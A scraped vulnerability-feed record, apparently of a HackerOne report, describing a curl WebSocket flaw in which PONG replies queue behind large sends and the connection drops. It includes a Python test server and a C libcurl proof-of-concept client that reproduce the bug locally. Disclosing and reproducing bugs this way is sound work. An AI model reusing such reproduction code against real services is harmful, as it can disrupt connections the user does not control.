{“lastseen”:”2025-12-28T21:30:18″,”description”:”Summary: I have discovered a logic flaw in lib\/ws.c regarding the handling of WebSocket Control Frames (PING\/PONG). According to RFC 6455, Control Frames should be processed as soon as possible, even in the middle of fragmented data frames, to maintain connection state (Keep-Alive).\\n\\nHowever, libcurl fails to prioritize PONG responses when it is actively sending a large stream of data via curl_ws_send. If payload_remain \\u003e 0, the PONG response is queued behind the user data. If the transfer takes longer than the server’s Keep-Alive timeout, the server will drop the connection, resulting in a Denial of Service (DoS) for valid operations.\\n\\nAffected version Reproduced on the latest curl master branch (and recent releases supporting WebSocket). (Please run curl -V in your terminal and paste the output here)\\n\\nSteps To Reproduce:\\n\\nTo reproduce this, we need a \\”Strict\\” WebSocket Server that enforces a short Keep-Alive timeout, and a Client that saturates the sending queue.\\n\\n1. Setup the Malicious Server (strict_ws_server.py) This Python script simulates a server that sends a PING every 1 second and disconnects if no PONG is received within 3 seconds.\\nimport socket\\nimport struct\\nimport time\\nimport threading\\nimport select\\n\\nOP_PING = 0x9\\nOP_PONG = 0xA\\n\\ndef create_frame(opcode, payload=b\\”\\”):\\n b1 = 0x80 | opcode\\n b2 = len(payload) \\u0026 0x7F\\n return struct.pack(\\”!BB\\”, b1, b2) + payload\\n\\ndef handle_client(conn):\\n print(\\”[+] Client connected. Handshaking…\\”)\\n try:\\n req = conn.recv(4096)\\n resp = (\\n b\\”HTTP\/1.1 101 Switching Protocols\\\\r\\\\n\\”\\n b\\”Upgrade: websocket\\\\r\\\\n\\”\\n b\\”Connection: Upgrade\\\\r\\\\n\\”\\n b\\”Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=\\\\r\\\\n\\”\\n b\\”\\\\r\\\\n\\”\\n )\\n conn.sendall(resp)\\n print(\\”[+] Handshake OK. Monitoring Heartbeat…\\”)\\n \\n last_pong_time = time.time()\\n running = True\\n \\n def pinger():\\n nonlocal last_pong_time, running\\n while running:\\n try:\\n time.sleep(1)\\n conn.sendall(create_frame(OP_PING, b\\”alive?\\”))\\n if time.time() – last_pong_time \\u003e 3:\\n print(\\”\\\\n[!!!] TIMEOUT: Client did not reply PONG in 3s!\\”)\\n running = False\\n conn.close()\\n return\\n except:\\n running = False\\n return\\n\\n t = threading.Thread(target=pinger)\\n t.start()\\n\\n while running:\\n ready = select.select([conn], [], [], 1)\\n if ready[0]:\\n data = conn.recv(1024)\\n if not data: break\\n opcode = data[0] \\u0026 0x0F\\n if opcode == OP_PONG:\\n last_pong_time = time.time()\\n except:\\n pass\\n\\ndef start_server():\\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\\n s.bind((‘0.0.0.0’, 9090))\\n s.listen(1)\\n print(\\”[*] Strict Server on 9090…\\”)\\n while True:\\n conn, addr = s.accept()\\n handle_client(conn)\\n\\nif __name__ == \\”__main__\\”:\\n start_server()\\n\\n2. Setup the Client PoC (poc_ws_starve.c) Compile this with: gcc poc_ws_starve.c -o poc_ws_starve -lcurl This client sends a large amount of data while artificially slowing down slightly to simulate network latency\/busy loop, forcing the PONG to be queued.\\n#include \\u003cstdio.h\\u003e\\n#include \\u003cstring.h\\u003e\\n#include \\u003cunistd.h\\u003e\\n#include \\u003ccurl\/curl.h\\u003e\\n\\nint main(void) {\\n CURL *curl;\\n CURLcode res;\\n\\n curl_global_init(CURL_GLOBAL_DEFAULT);\\n curl = curl_easy_init();\\n \\n if(curl) {\\n \/\/ Connect to local strict server\\n curl_easy_setopt(curl, CURLOPT_URL, \\”ws:\/\/127.0.0.1:9090\/\\”);\\n curl_easy_setopt(curl, CURLOPT_CONNECT_ONLY, 2L);\\n \\n res = curl_easy_perform(curl);\\n if(res != CURLE_OK) return 1;\\n\\n size_t sent;\\n char buffer[1024]; \\n memset(buffer, ‘A’, sizeof(buffer));\\n \\n const struct curl_ws_frame *meta;\\n size_t rlen;\\n char rbuf[256];\\n\\n \/\/ Send massive data stream\\n for(int i=0; i\\u003c100000; i++) {\\n \/\/ 1. Send Data (CURLWS_BINARY)\\n res = curl_ws_send(curl, buffer, sizeof(buffer), \\u0026sent, 0, CURLWS_BINARY);\\n if(res != CURLE_OK) break;\\n\\n \/\/ 2. Sleep briefly to allow Server to send PING\\n usleep(10000); \\n\\n \/\/ 3. Call recv to process incoming PING\\n \/\/ EXPECTED: Curl should reply PONG immediately.\\n \/\/ ACTUAL: Curl queues PONG behind the data stream because payload_remain \\u003e 0.\\n curl_ws_recv(curl, rbuf, sizeof(rbuf), \\u0026rlen, \\u0026meta);\\n }\\n }\\n curl_easy_cleanup(curl);\\n curl_global_cleanup();\\n return 0;\\n}\\n\\n3. Execution\\n1. Run python3 strict_ws_server.py in Terminal 1.\\n2. Run .\/poc_ws_starve in Terminal 2.\\n\\nSupporting Material\/References:\\n- RFC 6455 Section 5.5: \\”Control frames (see Section 5.5) MAY be injected in the middle of a fragmented message.\\”\\n\\n- Root Cause: In lib\/ws.c, function ws_enc_add_cntrl, the code checks if(!ws-\\u003eenc.payload_remain). If data is being sent, it returns CURLE_OK effectively queuing the PONG without sending it, causing the starvation.\\n\\nObserved Output (Server Terminal):\\n[!!!] TIMEOUT: Client did not reply PONG in 3s!\\n\\nThe server disconnects the client despite the client being active, confirming the logic error.\\n\\n## Impact\\n\\n## Summary:”,”published”:”2025-12-27T18:12:44″,”modified”:”2025-12-28T21:29:00″,”type”:”hackerone”,”title”:”curl: WebSocket Logic Error: Control Frame (PING\/PONG) Starvation causes Connection Drop (DoS) during large transfers”,”source”:””,”references”:””,”id”:”H1:3480039″,”bulletinFamily”:”bugbounty”,”cwe”:null,”cvelist”:[],”sourceData”:””,”sourceHref”:””,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/hackerone.com\/reports\/3480039″,”category_name”:”News”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-28T21:30:18″,”description”:”Summary: I have discovered a logic flaw in lib\/ws.c regarding the handling of WebSocket Control Frames (PING\/PONG). According to RFC 6455, Control Frames should be…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,12,117,13,33,7,11,5],"class_list":["post-33048","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-exploit","tag-hackerone","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n